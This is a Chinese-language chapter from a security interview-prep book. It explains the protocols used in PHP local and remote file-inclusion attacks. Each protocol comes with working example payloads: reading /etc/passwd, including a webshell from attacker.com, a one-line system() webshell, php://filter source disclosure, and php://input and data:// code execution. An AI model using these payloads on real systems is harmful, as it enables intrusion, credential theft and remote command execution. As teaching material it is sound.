Files
Sec-Interview/_book/Chapter16/16-1.md
T
2025-11-08 21:00:06 +08:00

61 lines
3.6 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
### 常用的协议有哪些
**本地文件包含(LFI)协议**
本地文件包含通常利用的是 Web 应用对用户输入的文件路径缺乏严格过滤,导致攻击者能够包含服务器上的任意文件
**1. `file://` 协议**
这是最基础、最常见的文件包含协议。它允许你直接引用本地文件系统中的文件
- **用途**:读取服务器上的任意文件,如 `/etc/passwd`Linux)或 `C:\Windows\win.ini`Windows
- **示例**`http://example.com/vuln.php?file=file:///etc/passwd`
- **特点**:如果 Web 应用没有对路径进行充分过滤,攻击者可以利用 `../` 来遍历目录,从而访问到 Web 根目录以外的敏感文件
**远程文件包含(RFI)协议**
远程文件包含通常出现在 PHP 中,当 `allow_url_include``allow_url_fopen` 配置都开启时,Web 应用可以包含远程服务器上的文件
**1. `http://` 或 `https://` 协议**
这是最常见的远程文件包含方式,攻击者可以利用它来包含一个位于自己服务器上的恶意文件,从而在目标服务器上执行代码
- **用途**:在 Web 服务器上执行远程主机上的脚本,通常用于获取Webshell
- **示例**`http://example.com/vuln.php?file=http://attacker.com/shell.txt`
- **特点**`shell.txt`文件内容通常是一段Webshell代码,如`<?php system($_GET['cmd']); ?>`
**攻击者利用的伪协议(Pseudo Protocols**
这些协议不是为了包含文件而设计的,但攻击者可以利用它们来读取文件内容、执行代码或绕过 WAF
**1. `php://filter`**
这是一个非常强大的伪协议,它允许你对包含的文件内容进行过滤操作,比如编码或解码。最常见的用法是读取 PHP 文件的源码,因为源码中可能包含数据库凭证等敏感信息
- **用途**:读取本地文件的源码,绕过 Web 应用对 `php` 文件执行的限制
- **示例**`http://example.com/vuln.php?file=php://filter/read=convert.base64-encode/resource=index.php`
- **特点**:通过 Base64 编码,即使服务器对 `.php` 文件进行了执行处理,我们也能以明文形式获取其源码
**2. `php://input`**
这个协议可以让我们直接从 POST 请求的请求体中读取数据,并作为文件内容进行执行。当文件包含漏洞的参数无法直接在 URL 中写入恶意代码时,这是一个非常有用的绕过方法
- **用途**:通过 POST 请求发送恶意代码并执行
- **示例**:在 POST 请求中,发送数据`<?php system($_GET['cmd']); ?>`,同时访问`http://example.com/vuln.php?file=php://input`
- **特点**:常用于绕过 WAF 对 URL 中特定字符串的检测
**3. `data://`**
这个协议可以让我们在 URL 中直接嵌入数据,并作为文件内容执行。这在某些情况下可以绕过一些过滤规则,因为它不依赖于外部文件
- **用途**:在 URL 中直接执行恶意代码
- **示例**`http://example.com/vuln.php?file=data://text/plain,<?php%20system('id');%20?>`
- **特点**:如果 Web 应用对 URL 中的特殊字符进行过滤,这种方式可能会失效
**4. `phar://`**
这个协议常用于反序列化攻击,尤其是在 PHAR 归档文件中。攻击者可以创建一个恶意的 PHAR 文件,并在其中嵌入恶意代码或反序列化对象,当服务器通过文件包含加载这个文件时,就会触发反序列化操作
- **用途**:利用 PHP 反序列化漏洞,执行任意命令
- **示例**`http://example.com/vuln.php?file=phar:///path/to/archive.phar`
- **特点**:这种攻击方式通常需要配合一个反序列化漏洞才能成功